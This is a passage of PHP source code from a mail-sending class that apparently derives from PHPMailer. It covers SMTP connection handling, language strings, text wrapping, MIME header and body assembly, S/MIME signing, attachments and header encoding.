                        $this->SMTPAuth &&
                        !$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->oauth
                        )
                    ) {
                        throw new Exception($this->lang("authenticate"));
                    }
                    return true;
                } catch (Exception $exc) {$lastexception = $exc;
                    $this->edebug($exc->getMessage());$this->smtp->quit();
                }
            }
        }
        $this->smtp->close();
        if ($this->exceptions && null !== $lastexception) {
            throw $lastexception;
        }
        if ($this->exceptions) {
            $message = $this->getSmtpErrorMessage("connect_host");
            throw new Exception($message);
        }
        return false;
    }
    public function smtpClose()
    {
        if (null !== $this->smtp && $this->smtp->connected()) {
            $this->smtp->quit();
            $this->smtp->close();
        }
    }
    public function setLanguage($langcode = "en", $lang_path = "")
    {
        $renamed_langcodes = [
            "br" => "pt_br",
            "cz" => "cs",
            "dk" => "da",
            "no" => "nb",
            "se" => "sv",
            "rs" => "sr",
            "tg" => "tl",
            "am" => "hy",
        ];
        if (array_key_exists($langcode, $renamed_langcodes)) {
            $langcode = $renamed_langcodes[$langcode];
        }
        $PHPMAILER_LANG = [
            "authenticate" => "SMTP Error: Could not authenticate.",
            "buggy_php" =>
                "Your version of PHP is affected by a bug that may result in corrupted messages." .
                " To fix it, switch to sending using SMTP, disable the mail.add_x_header option in" .
                " your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.",
            "connect_host" => "SMTP Error: Could not connect to SMTP host.",
            "data_not_accepted" => "SMTP Error: data not accepted.",
            "empty_message" => "Message body empty",
            "encoding" => "Unknown encoding: ",
            "execute" => "Could not execute: ",
            "extension_missing" => "Extension missing: ",
            "file_access" => "Could not access file: ",
            "file_open" => "File Error: Could not open file: ",
            "from_failed" => "The following From address failed: ",
            "instantiate" => "Could not instantiate mail function.",
            "invalid_address" => "Invalid address: ",
            "invalid_header" => "Invalid header name or value",
            "invalid_hostentry" => "Invalid hostentry: ",
            "invalid_host" => "Invalid host: ",
            "mailer_not_supported" => " mailer is not supported.",
            "provide_address" =>
                "You must provide at least one recipient email address.",
            "recipients_failed" =>
                "SMTP Error: The following recipients failed: ",
            "signing" => "Signing Error: ",
            "smtp_code" => "SMTP code: ",
            "smtp_code_ex" => "Additional SMTP info: ",
            "smtp_connect_failed" => "SMTP connect() failed.",
            "smtp_detail" => "Detail: ",
            "smtp_error" => "SMTP server error: ",
            "variable_set" => "Cannot set or reset variable: ",
        ];
        if (empty($lang_path)) {
            $lang_path =
                dirname(__DIR__) .
                DIRECTORY_SEPARATOR .
                "language" .
                DIRECTORY_SEPARATOR;
        }
        $foundlang = true;
        $langcode = strtolower($langcode);
        if (
            !preg_match(
                '/^(?P<lang>[a-z]{2})(?P<script>_[a-z]{4})?(?P<country>_[a-z]{2})?$/',
                $langcode,
                $matches
            ) &&
            $langcode !== "en"
        ) {
            $foundlang = false;
            $langcode = "en";
        }
        if ("en" !== $langcode) {
            $langcodes = [];
            if (!empty($matches["script"]) && !empty($matches["country"])) {
                $langcodes[] =
                    $matches["lang"] . $matches["script"] . $matches["country"];
            }
            if (!empty($matches["country"])) {
                $langcodes[] = $matches["lang"] . $matches["country"];
            }
            if (!empty($matches["script"])) {
                $langcodes[] = $matches["lang"] . $matches["script"];
            }
            $langcodes[] = $matches["lang"];
            $foundFile = false;
            foreach ($langcodes as $code) {
                $lang_file = $lang_path . "phpmailer.lang-" . $code . ".php";
                if (static::fileIsAccessible($lang_file)) {
                    $foundFile = true;
                    break;
                }
            }
            if ($foundFile === false) {
                $foundlang = false;
            } else {
                $lines = file($lang_file);
                foreach ($lines as $line) {
                    $matches = [];
                    if (
                        preg_match(
                            '/^\$PHPMAILER_LANG\[\'([a-z\d_]+)\'\]\s*=\s*(["\'])(.+)*?\2;/',
                            $line,
                            $matches
                        ) &&
                        array_key_exists($matches[1], $PHPMAILER_LANG)
                    ) {
                        $PHPMAILER_LANG[$matches[1]] = (string) $matches[3];
                    }
                }
            }
        }
        $this->language = $PHPMAILER_LANG;
        return $foundlang;
    }
    public function getTranslations()
    {
        if (empty($this->language)) {
            $this->setLanguage();
        }
        return $this->language;
    }
    public function addrAppend($type, $addr)
    {
        $addresses = [];
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ": " . implode(", ", $addresses) . static::$LE;
    }
    public function addrFormat($addr)
    {
        if (!isset($addr[1]) || $addr[1] === "") {
            return $this->secureHeader($addr[0]);
        }
        return $this->encodeHeader($this->secureHeader($addr[1]), "phrase") .
            " <" .
            $this->secureHeader($addr[0]) .
            ">";
    }
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(" =%s", static::$LE);
        } else {
            $soft_break = static::$LE;
        }
        $is_utf8 = static::CHARSET_UTF8 === strtolower($this->CharSet);
        $lelen = strlen(static::$LE);
        $crlflen = strlen(static::$LE);
        $message = static::normalizeBreaks($message);
        if (substr($message, -$lelen) === static::$LE) {
            $message = substr($message, 0, -$lelen);
        }
        $lines = explode(static::$LE, $message);
        $message = "";
        foreach ($lines as $line) {
            $words = explode(" ", $line);
            $buf = "";
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode && strlen($word) > $length) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif ("=" === substr($word, $len - 1, 1)) {
                                --$len;
                            } elseif ("=" === substr($word, $len - 2, 1)) {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= " " . $part;
                            $message .= $buf . sprintf("=%s", static::$LE);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = "";
                    }
                    while ($word !== "") {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif ("=" === substr($word, $len - 1, 1)) {--$len;} elseif ("=" === substr($word, $len - 2, 1)) {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = (string) substr($word, $len);
                        if ($word !== "") {
                            $message .= $part . sprintf("=%s", static::$LE);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= " ";
                    }
                    $buf .= $word;
                    if ("" !== $buf_o && strlen($buf) > $length) {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . static::$LE;
        }
        return $message;
    }
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr(
                $encodedText,
                $maxLength - $lookBack,
                $lookBack
            );
            $encodedCharPos = strpos($lastChunk, "=");
            if (false !== $encodedCharPos) {
                $hex = substr(
                    $encodedText,
                    $maxLength - $lookBack + $encodedCharPos + 1,
                    2
                );
                $dec = hexdec($hex);
                if ($dec < 128) {
                    if ($encodedCharPos > 0) {
                        $maxLength -= $lookBack - $encodedCharPos;
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    $maxLength -= $lookBack - $encodedCharPos;
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    $lookBack += 3;
                }
            } else {
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }
        switch ($this->message_type) {
            case "alt":
            case "alt_inline":
            case "alt_attach":
            case "alt_inline_attach":
                $this->AltBody = $this->wrapText(
                    $this->AltBody,
                    $this->WordWrap
                );
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }
    public function createHeader()
    {
        $result = "";
        $result .= $this->headerLine(
            "Date",
            "" === $this->MessageDate ? self::rfcDate() : $this->MessageDate
        );
        if ("mail" !== $this->Mailer) {
            if ($this->SingleTo) {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            } elseif (count($this->to) > 0) {
                $result .= $this->addrAppend("To", $this->to);
            } elseif (count($this->cc) === 0) {
                $result .= $this->headerLine("To", "undisclosed-recipients:;");
            }
        }
        $result .= $this->addrAppend("From", [
            [trim($this->From), $this->FromName],
        ]);
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend("Cc", $this->cc);
        }
        if (
            ("sendmail" === $this->Mailer ||
                "qmail" === $this->Mailer ||
                "mail" === $this->Mailer) &&
            count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend("Bcc", $this->bcc);
        }
        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend("Reply-To", $this->ReplyTo);
        }
        if ("mail" !== $this->Mailer) {
            $result .= $this->headerLine(
                "Subject",
                $this->encodeHeader($this->secureHeader($this->Subject))
            );
        }
        if (
            "" !== $this->MessageID &&
            preg_match(
                '/^<((([a-z\d!#$%&\'*+\/=?^_`{|}~-]+(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)' .
                    '|("(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]|[\x21\x23-\x5B\x5D-\x7E])' .
                    '|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*"))@(([a-z\d!#$%&\'*+\/=?^_`{|}~-]+' .
                    '(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)|(\[(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]' .
                    '|[\x21-\x5A\x5E-\x7E])|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*\])))>$/Di',
                $this->MessageID
            )
        ) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf(
                "<%s@%s>",
                $this->uniqueid,
                $this->serverHostname()
            );
        }
        $result .= $this->headerLine("Message-ID", $this->lastMessageID);
        if (null !== $this->Priority) {
            $result .= $this->headerLine("X-Priority", $this->Priority);
        }
        if ("" === $this->XMailer) {
            /* $result .= $this->headerLine(
                "X-Mailer",
                "PHPMailer " .
                    self::VERSION .
                    " (https://github.com/PHPMailer/PHPMailer)"
            ); */
        } elseif (is_string($this->XMailer) && trim($this->XMailer) !== "") {
            $result .= $this->headerLine("X-Mailer", trim($this->XMailer));
        }
        if ("" !== $this->ConfirmReadingTo) {
            $result .= $this->headerLine(
                "Disposition-Notification-To",
                "<" . $this->ConfirmReadingTo . ">"
            );
        }
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine("MIME-Version", "1.0");
            $result .= $this->getMailMIME();
        }
        return $result;
    }
    public function getMailMIME()
    {
        $result = "";
        $ismultipart = true;
        switch ($this->message_type) {
            case "inline":
                $result .= $this->headerLine(
                    "Content-Type",
                    static::CONTENT_TYPE_MULTIPART_RELATED . ";"
                );
                $result .= $this->textLine(
                    ' boundary="' . $this->boundary[1] . '"'
                );
                break;
            case "attach":
            case "inline_attach":
            case "alt_attach":
            case "alt_inline_attach":
                $result .= $this->headerLine(
                    "Content-Type",
                    static::CONTENT_TYPE_MULTIPART_MIXED . ";"
                );
                $result .= $this->textLine(
                    ' boundary="' . $this->boundary[1] . '"'
                );
                break;
            case "alt":
            case "alt_inline":
                $result .= $this->headerLine(
                    "Content-Type",
                    static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ";"
                );
                $result .= $this->textLine(
                    ' boundary="' . $this->boundary[1] . '"'
                );
                break;
            default:
                $result .= $this->textLine(
                    "Content-Type: " .
                        $this->ContentType .
                        "; charset=" .
                        $this->CharSet
                );
                $ismultipart = false;
                break;
        }
        if (static::ENCODING_7BIT !== $this->Encoding) {
            if ($ismultipart) {
                if (static::ENCODING_8BIT === $this->Encoding) {
                    $result .= $this->headerLine("Content-Transfer-Encoding",static::ENCODING_8BIT
                    );}
            } else {
                $result .= $this->headerLine(
                    "Content-Transfer-Encoding",
                    $this->Encoding
                );
            }
        }
        return $result;
    }
    public function getSentMIMEMessage()
    {
        return static::stripTrailingWSP($this->MIMEHeader . $this->mailHeader) .
            static::$LE .
            static::$LE .
            $this->MIMEBody;
    }
    protected function generateId()
    {
        $len = 32;
        $bytes = "";
        if (function_exists("random_bytes")) {
            try {
                $bytes = random_bytes($len);
            } catch (\Exception $e) {
            }
        } elseif (function_exists("openssl_random_pseudo_bytes")) {
            $bytes = openssl_random_pseudo_bytes($len);
        }
        if ($bytes === "") {
            $bytes = hash("sha256", uniqid((string) mt_rand(), true), true);
        }
        return str_replace(
            ["=", "+", "/"],
            "",
            base64_encode(hash("sha256", $bytes, true))
        );
    }
    public function createBody()
    {
        $body = "";
        $this->setBoundaries();
        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . static::$LE;
        }
        $this->setWordWrap();
        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        if (
            static::ENCODING_8BIT === $bodyEncoding &&
            !$this->has8bitChars($this->Body)
        ) {
            $bodyEncoding = static::ENCODING_7BIT;
            $bodyCharSet = static::CHARSET_ASCII;
        }
        if (
            static::ENCODING_BASE64 !== $this->Encoding &&
            static::hasLineLongerThanMax($this->Body)
        ) {
            $bodyEncoding = static::ENCODING_QUOTED_PRINTABLE;
        }
        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        if (
            static::ENCODING_8BIT === $altBodyEncoding &&
            !$this->has8bitChars($this->AltBody)
        ) {
            $altBodyEncoding = static::ENCODING_7BIT;
            $altBodyCharSet = static::CHARSET_ASCII;
        }
        if (
            static::ENCODING_BASE64 !== $altBodyEncoding &&
            static::hasLineLongerThanMax($this->AltBody)
        ) {
            $altBodyEncoding = static::ENCODING_QUOTED_PRINTABLE;
        }
        $mimepre = "";
        switch ($this->message_type) {
            case "inline":
                $body .= $mimepre;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $bodyCharSet,
                    "",
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll("inline", $this->boundary[1]);
                break;
            case "attach":
                $body .= $mimepre;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $bodyCharSet,
                    "",
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll("attachment", $this->boundary[1]);
                break;
            case "inline_attach":
                $body .= $mimepre;
                $body .= $this->textLine("--" . $this->boundary[1]);
                $body .= $this->headerLine(
                    "Content-Type",
                    static::CONTENT_TYPE_MULTIPART_RELATED . ";"
                );
                $body .= $this->textLine(
                    ' boundary="' . $this->boundary[2] . '";'
                );
                $body .= $this->textLine(
                    ' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'
                );
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $bodyCharSet,
                    "",
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll("inline", $this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->attachAll("attachment", $this->boundary[1]);
                break;
            case "alt":
                $body .= $mimepre;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                if (!empty($this->Ical)) {
                    $method = static::ICAL_METHOD_REQUEST;
                    foreach (static::$IcalMethods as $imethod) {
                        if (
                            stripos($this->Ical, "METHOD:" . $imethod) !== false
                        ) {
                            $method = $imethod;
                            break;
                        }
                    }
                    $body .= $this->getBoundary(
                        $this->boundary[1],
                        "",
                        static::CONTENT_TYPE_TEXT_CALENDAR .
                            "; method=" .
                            $method,
                        ""
                    );
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= static::$LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case "alt_inline":
                $body .= $mimepre;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->textLine("--" . $this->boundary[1]);
                $body .= $this->headerLine(
                    "Content-Type",
                    static::CONTENT_TYPE_MULTIPART_RELATED . ";"
                );
                $body .= $this->textLine(
                    ' boundary="' . $this->boundary[2] . '";'
                );
                $body .= $this->textLine(
                    ' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'
                );
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll("inline", $this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case "alt_attach":
                $body .= $mimepre;
                $body .= $this->textLine("--" . $this->boundary[1]);
                $body .= $this->headerLine(
                    "Content-Type",
                    static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ";"
                );$body .= $this->textLine(
                    ' boundary="' . $this->boundary[2] . '"'
                );$body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                if (!empty($this->Ical)) {
                    $method = static::ICAL_METHOD_REQUEST;
                    foreach (static::$IcalMethods as $imethod) {
                        if (
                            stripos($this->Ical, "METHOD:" . $imethod) !== false
                        ) {
                            $method = $imethod;
                            break;
                        }
                    }
                    $body .= $this->getBoundary(
                        $this->boundary[2],
                        "",
                        static::CONTENT_TYPE_TEXT_CALENDAR .
                            "; method=" .
                            $method,
                        ""
                    );
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                }
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->attachAll("attachment", $this->boundary[1]);
                break;
            case "alt_inline_attach":
                $body .= $mimepre;
                $body .= $this->textLine("--" . $this->boundary[1]);
                $body .= $this->headerLine(
                    "Content-Type",
                    static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ";"
                );
                $body .= $this->textLine(
                    ' boundary="' . $this->boundary[2] . '"'
                );
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->textLine("--" . $this->boundary[2]);
                $body .= $this->headerLine(
                    "Content-Type",
                    static::CONTENT_TYPE_MULTIPART_RELATED . ";"
                );
                $body .= $this->textLine(
                    ' boundary="' . $this->boundary[3] . '";'
                );
                $body .= $this->textLine(
                    ' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'
                );
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[3],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll("inline", $this->boundary[3]);
                $body .= static::$LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->attachAll("attachment", $this->boundary[1]);
                break;
            default:
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }
        if ($this->isError()) {
            $body = "";
            if ($this->exceptions) {
                throw new Exception(
                    $this->lang("empty_message"),
                    self::STOP_CRITICAL
                );
            }
        } elseif ($this->sign_key_file) {
            try {
                if (!defined("PKCS7_TEXT")) {
                    throw new Exception(
                        $this->lang("extension_missing") . "openssl"
                    );
                }
                $file = tempnam(sys_get_temp_dir(), "srcsign");
                $signed = tempnam(sys_get_temp_dir(), "mailsign");
                file_put_contents($file, $body);
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        "file://" . realpath($this->sign_cert_file),
                        [
                            "file://" . realpath($this->sign_key_file),
                            $this->sign_key_pass,
                        ],
                        []
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        "file://" . realpath($this->sign_cert_file),
                        [
                            "file://" . realpath($this->sign_key_file),
                            $this->sign_key_pass,
                        ],
                        [],
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                @unlink($file);
                if ($sign) {
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . static::$LE . static::$LE;
                    $body = $parts[1];
                } else {
                    @unlink($signed);
                    throw new Exception(
                        $this->lang("signing") . openssl_error_string()
                    );
                }
            } catch (Exception $exc) {
                $body = "";
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }
    public function getBoundaries()
    {
        if (empty($this->boundary)) {
            $this->setBoundaries();
        }
        return $this->boundary;
    }
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = "";
        if ("" === $charSet) {
            $charSet = $this->CharSet;
        }
        if ("" === $contentType) {
            $contentType = $this->ContentType;
        }
        if ("" === $encoding) {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine("--" . $boundary);
        $result .= sprintf(
            "Content-Type: %s; charset=%s",
            $contentType,
            $charSet
        );
        $result .= static::$LE;
        if (static::ENCODING_7BIT !== $encoding) {
            $result .= $this->headerLine(
                "Content-Transfer-Encoding",
                $encoding
            );
        }
        $result .= static::$LE;
        return $result;
    }
    protected function endBoundary($boundary)
    {
        return static::$LE . "--" . $boundary . "--" . static::$LE;
    }
    protected function setMessageType()
    {
        $type = [];
        if ($this->alternativeExists()) {
            $type[] = "alt";
        }
        if ($this->inlineImageExists()) {
            $type[] = "inline";
        }
        if ($this->attachmentExists()) {
            $type[] = "attach";
        }
        $this->message_type = implode("_", $type);
        if ("" === $this->message_type) {
            $this->message_type = "plain";
        }
    }
    public function headerLine($name, $value)
    {
        return $name . ": " . $value . static::$LE;
    }
    public function textLine($value)
    {
        return $value. static::$LE;
    }
    public function addAttachment(
        $path,
        $name = "",
        $encoding = self::ENCODING_BASE64,$type = "",
        $disposition = "attachment"
    ) {
        try {
            if (!static::fileIsAccessible($path)) {
                throw new Exception(
                    $this->lang("file_access") . $path,
                    self::STOP_CONTINUE
                );
            }
            if ("" === $type) {
                $type = static::filenameToType($path);
            }
            $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME);
            if ("" === $name) {
                $name = $filename;
            }
            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang("encoding") . $encoding);
            }
            $this->attachment[] = [
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false,
                6 => $disposition,
                7 => $name,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }
    public function getAttachments()
    {
        return $this->attachment;
    }
    protected function attachAll($disposition_type, $boundary)
    {
        $mime = [];
        $cidUniq = [];
        $incl = [];
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] === $disposition_type) {
                $string = "";
                $path = "";
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }
                $inclhash = hash("sha256", serialize($attachment));
                if (in_array($inclhash, $incl, true)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if (
                    "inline" === $disposition &&
                    array_key_exists($cid, $cidUniq)
                ) {
                    continue;
                }
                $cidUniq[$cid] = true;
                $mime[] = sprintf("--%s%s", $boundary, static::$LE);
                if (!empty($name)) {
                    $mime[] = sprintf(
                        "Content-Type: %s; name=%s%s",
                        $type,
                        static::quotedString(
                            $this->encodeHeader($this->secureHeader($name))
                        ),
                        static::$LE
                    );
                } else {
                    $mime[] = sprintf("Content-Type: %s%s", $type, static::$LE);
                }
                if (static::ENCODING_7BIT !== $encoding) {
                    $mime[] = sprintf(
                        "Content-Transfer-Encoding: %s%s",
                        $encoding,
                        static::$LE
                    );
                }
                if ((string) $cid !== "" && $disposition === "inline") {
                    $mime[] =
                        "Content-ID: <" .
                        $this->encodeHeader($this->secureHeader($cid)) .
                        ">" .
                        static::$LE;
                }
                if (!empty($disposition)) {
                    $encoded_name = $this->encodeHeader(
                        $this->secureHeader($name)
                    );
                    if (!empty($encoded_name)) {
                        $mime[] = sprintf(
                            "Content-Disposition: %s; filename=%s%s",
                            $disposition,
                            static::quotedString($encoded_name),
                            static::$LE . static::$LE
                        );
                    } else {
                        $mime[] = sprintf(
                            "Content-Disposition: %s%s",
                            $disposition,
                            static::$LE . static::$LE
                        );
                    }
                } else {
                    $mime[] = static::$LE;
                }
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                }
                if ($this->isError()) {
                    return "";
                }
                $mime[] = static::$LE;
            }
        }
        $mime[] = sprintf("--%s--%s", $boundary, static::$LE);
        return implode("", $mime);
    }
    protected function encodeFile($path, $encoding = self::ENCODING_BASE64)
    {
        try {
            if (!static::fileIsAccessible($path)) {
                throw new Exception(
                    $this->lang("file_open") . $path,
                    self::STOP_CONTINUE
                );
            }
            $file_buffer = file_get_contents($path);
            if (false === $file_buffer) {
                throw new Exception(
                    $this->lang("file_open") . $path,
                    self::STOP_CONTINUE
                );
            }
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return "";
        }
    }
    public function encodeString($str, $encoding = self::ENCODING_BASE64)
    {
        $encoded = "";
        switch (strtolower($encoding)) {
            case static::ENCODING_BASE64:
                $encoded = chunk_split(
                    base64_encode($str),
                    static::STD_LINE_LENGTH,
                    static::$LE
                );
                break;
            case static::ENCODING_7BIT:
            case static::ENCODING_8BIT:
                $encoded = static::normalizeBreaks($str);
                if (substr($encoded, -strlen(static::$LE)) !== static::$LE) {
                    $encoded .= static::$LE;
                }
                break;
            case static::ENCODING_BINARY:
                $encoded = $str;
                break;
            case static::ENCODING_QUOTED_PRINTABLE:
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang("encoding") . $encoding);
                if ($this->exceptions) {
                    throw new Exception($this->lang("encoding") . $encoding);
                }
                break;
        }
        return $encoded;
    }
    public function encodeHeader($str, $position = "text")
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case "phrase":
                if (!preg_match('/[\200-\377]/', $str)) {
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (
                        $str === $encoded &&
                        !preg_match(
                            '/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/',
                            $str
                        )
                    ) {
                        return $encoded;
                    }
                    return "\"$encoded\"";
                }
                $matchcount = preg_match_all(
                    '/[^\040\041\043-\133\135-\176]/',
                    $str,
                    $matches
                );break;
            case "comment":
                $matchcount = preg_match_all('/[()"]/', $str,$matches);
            case "text":default:
                $matchcount += preg_match_all(
                    '/[\000-\010\013\014\016-\037\177-\377]/',
                    $str,
                    $matches
                );
                break;
        }
        if ($this->has8bitChars($str)) {
            $charset = $this->CharSet;
        } else {
            $charset = static::CHARSET_ASCII;
        }
        $overhead = 8 + strlen($charset);
        if ("mail" === $this->Mailer) {
            $maxlen = static::MAIL_MAX_LINE_LENGTH - $overhead;
        } else {
            $maxlen = static::MAX_LINE_LENGTH - $overhead;
        }
        if ($matchcount > strlen($str) / 3) {
            $encoding = "B";
        } elseif ($matchcount > 0) {
            $encoding = "Q";
        } elseif (strlen($str) > $maxlen) {
            $encoding = "Q";
        } else {
            $encoding = false;
        }
        switch ($encoding) {
            case "B":
                if ($this->hasMultiBytes($str)) {
                    $encoded = $this->base64EncodeWrapMB($str, "\n");
                } else {
                    $encoded = base64_encode($str);
                    $maxlen -= $maxlen % 4;
                    $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
                }
                $encoded = preg_replace(
                    '/^(.*)$/m',
                    " =?" . $charset . "?$encoding?\\1?=",
                    $encoded
                );
                break;
            case "Q":
                $encoded = $this->encodeQ($str, $position);
                $encoded = $this->wrapText($encoded, $maxlen, true);
                $encoded = str_replace("=" . static::$LE, "\n", trim($encoded));
                $encoded = preg_replace(
                    '/^(.*)$/m',
                    " =?" . $charset . "?$encoding?\\1?=",
                    $encoded
                );
                break;
            default:
                return $str;
        }
        return trim(static::normalizeBreaks($encoded));
    }
    public function hasMultiBytes($str)
    {
        if (function_exists("mb_strlen")) {
            return strlen($str) > mb_strlen($str, $this->CharSet);
        }
        return false;
    }
    public function has8bitChars($text)
    {
        return (bool) preg_match('/[\x80-\xFF]/', $text);
    }
